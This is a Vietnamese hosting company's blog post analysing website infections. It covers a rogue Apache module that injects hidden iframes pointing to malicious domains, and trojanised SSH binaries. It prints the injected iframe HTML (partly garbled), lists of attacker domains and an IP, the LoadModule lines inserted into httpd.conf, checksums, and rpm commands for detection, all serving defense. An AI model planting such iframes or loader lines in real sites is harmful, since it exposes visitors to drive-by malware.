Có rất nhiều cách để chèn một đoạn mã độc vào website. Attacker có thể thay đổi bất cứ file nào trên web chẳng hạn như index.php, .htaccess hay php.ini. Đây là những cách phổ dụng nhất đặc biệt là với môi trường shared hosting.
Tuy nhiên trong vòng 1 năm trở lại đây, 1 cách thức mới để chèn các đoạn mã độc này đã xuất hiện, đó là thông qua các Apache module. Myhost xin chia sẻ một chút về những gì chúng tôi đã tìm hiểu.
Để xác định việc bị nhiễm thông qua Apache module, chúng ta hãy xem cách thức 1 iframe được chèn vào như sau:
style<.t1nhuhjv { position:absolute; left:-1619px; top:-1270px} </style> <div class=”t1nhuhjv”><iframe src="httx://qotive. changeip.name/random/" width=”534″ height=”556″> </iframe></div> or <style>.q6umct6stl { position:absolute; left:-1284px; top:-1774px} </style> <divhttx://nujifa. longmusic.com/kdqjagzxwbakl/cdce48ffcf125f41206a9ed88675b56b/" width="367" height="411"></iframe></div>
Domain name được thay đổi thường xuyên nhưng IP thường là 62.75.235.48), cùng với các thẻ div class name and the iframe sizes. Các domain thường được sử dụng:
http://mailboxworkssli.com/?a=YWZmaWQ9MDE3ODg= http://versusboxmask.info/?a=YWZmaWQ9MDE3ODg= http://magicsstolens.info/?a=YWZmaWQ9MDE3ODg= http://servershosstfrienduns.net/?a=YWZmaWQ9MDE3ODg= http://computershosstbrouns.com/?a=YWZmaWQ9MDE3ODg= http://namesstillsleags.net/?a=YWZmaWQ9MDE3ODg= http://sitesstillsleags.net/?a=YWZmaWQ9MDE3ODg= http://carssubjectchoicechips.net/?a=YWZmaWQ9MDE3ODg= http://sitesellingsappfourd.net/?a=YWZmaWQ9MDE3ODg= http://orlandoslimbigs.net/?a=YWZmaWQ9MDE3ODg= http://spellingtells.net/?a=YWZmaWQ9MDE3ODg= http://domainsrandomsswopp.net/?a=YWZmaWQ9MDE3ODg= http://adeptsponsorlin.info/?a=YWZmaWQ9MDE3ODg= http://domainssinglsnetss.info/?a=YWZmaWQ9MDE3ODg=
hoặc
http://rulanife.longmusic.com/tc0kvqzxw8tplc/afee21e0c3a4cf80bc3255202a0739a7/ (62.75.235.48) http://nujifa.longmusic.com/kdqjagzxwbakl/cdce48ffcf125f41206a9ed88675b56b/ (62.75.235.48) http://zoreqa.changeip.name/koqfazzxwr2w245zl/afee21e0c3a4cf80bc3255202a0739a7/ (62.75.235.48) http://wewezo.changeip.name/gg8nq3zxwzyacky/affe21e0c3a4cf80bc3255202a0739a7 (62.75.235.48) http://powotu.longmusic.com/4ojldhzxwkfzrkb/e935dcd5a72531f51b5ee69f465ce860/ (62.75.235.48) http://bisobobuk.longmusic.com/pvnx9jzxw4pe3wzn/e935dcd5a72531f51b5ee69f465ce860/ (62.75.235.48) http://lagefoze.changeip.name/edubhlzxwjlxlfcw/e935dcd5a72531f51b5ee69f465ce860/ (62.75.235.48) http://zepuyetit.changeip.name/cxrv6hzxwecblwb8/e935dcd5a72531f51b5ee69f465ce860/ (62.75.235.48) http://cacowoj.changeip.name/efvch6zxwyuhu/b289156cca80d8546795dbf2bda7dbab/ (62.75.235.48) http://vunovolev.changeip.name/ogwtmkzxwfumd/e935dcd5a72531f51b5ee69f465ce860/ (62.75.235.48) http://dohana.changeip.name/iwnjvpzxwh7elk/e935dcd5a72531f51b5ee69f465ce860/ (62.75.235.48) http://bibepi.changeip.name/yslz6zxwkents/e935dcd5a72531f51b5ee69f465ce860/ (62.75.235.48)
Attackers thay đổi trong file httpd.conf hay bất cứ file này trong file cấu hình của apache và chèn dòng sau để load module:
LoadModule pool_mem_module /lib64/libwutfa.so.2
or
LoadModule bench_proxy_module /lib64/libhdast.so.1
or
LoadModule string_log_module /usr/lib/libcehf.so.7
Tên và vị trí của module là ngẫu nhiên và md5 checksums thì thay đổi thường xuyên:
6b704ca7d3454830d212c88ffd6250c0
61051d0d1c7bdc109aa27732b94c94c0
82b0da95b511cdd02b377072b4fcada7
Tuy nhiên, một khi đã được load, chúng chèn iframe vào site 1 lần 1 ngày đối với mỗi đia chỉ IP, điều đó có nghĩa là mỗi IP chỉ bị nhiễm độc 1 lần/ngày và chỉ xảy ra trên thiết bị người dùng. Điều đó làm cho việc phát hiện và theo dõi trở nên khó khăn hơn rất nhiều
Để xác định một module không chính thống, ta sử dụng lệnh sau:
# rpm -qf /lib64/*
# rpm -qf /usr/lib/*
# rpm -qf /etc/httpd/modules/*
Nếu một module không thuộc bất cứ gói nào (not owned by anyone),có thể nó chính là các modules được add thêm bới attacker.
Một cách thức nữa trong việc xâm nhập hệ thống mà ít được đề cập đến là attacker lưu giữ những truy nhập vào hệ thống như thế nào? Nhiều nghiên cứu cho rằng, có thể đó là do attacker đã thay đổi các file binary của SSH và thay thế vào đó là một version khác để có thể truy cập trở lại server. Sự thay đổi này không chỉ cho phép attacker có thể login vào server mà không cần cơ chế chứng thực mà nó còn cho phép lấy cắp tất cả các SSH authentication và gửi về 1 server khác.
Để kiểm tra sự thay đổi của file, ta dùng lệnh rpm -Va và có kết quả sau:
S.5…… /usr/bin/scp
S.5…… /usr/bin/sftp
S.5…… /usr/bin/ssh
S.5…… /usr/bin/sshd
S.5…… /usr/bin/ssh-add
S.5…… /usr/bin/ssh-keyscan
S.5…… /usr/bin/ssh-keygen
Những binary đã bị thay đổi này hoàn toàn không hề bị xác định bới rất nhiều các chương trình antivirus.